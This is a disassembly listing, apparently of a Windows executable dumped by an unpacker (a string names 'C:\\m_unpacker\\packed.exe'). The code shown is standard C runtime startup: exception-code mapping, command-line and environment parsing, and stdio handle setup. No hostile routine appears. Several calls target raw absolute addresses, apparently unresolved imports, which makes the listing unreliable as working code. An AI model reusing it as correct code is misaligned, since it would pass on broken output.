loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43D01C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43D01C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43D01C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43D01C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43D01C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43D01C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43D01C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D01C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DBA20, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 265072Ch


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D018
		cmp	dword_43CF98, edx
		push	esi
		mov	eax, offset dword_43CF98
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CF98h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CF98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DCFF4, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DCFEC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB9B8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB970, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB9B8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB9B8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB9B8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DCFF0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2690000h
		mov	eax, dword_4DCFEC
		mov	off_4DB980, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB968, esi
		pop	edi
		pop	esi
		mov	dword_4DB964, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBB28
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DBB28, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2650345h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DBB28, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 265058Bh
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2650345h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		call	near ptr 26505AAh
		nop
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DCCA0, esi
		mov	dword_4DCDA0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DCCA0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 28C0000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DCDA0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DCCA4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DCDA0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DCDA0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DCDA0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 264080Bh
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DCCA0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		call	near ptr 2650000h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		call	near ptr 264080Bh
		nop
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DCDA0
		nop
		call	near ptr 2650256h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB9C0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A994, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DBB2C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D028


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D0B8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D028[esi]
		jnz	loc_423719
		mov	eax, dword_4DB9C0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A994, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2690000h
		nop
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


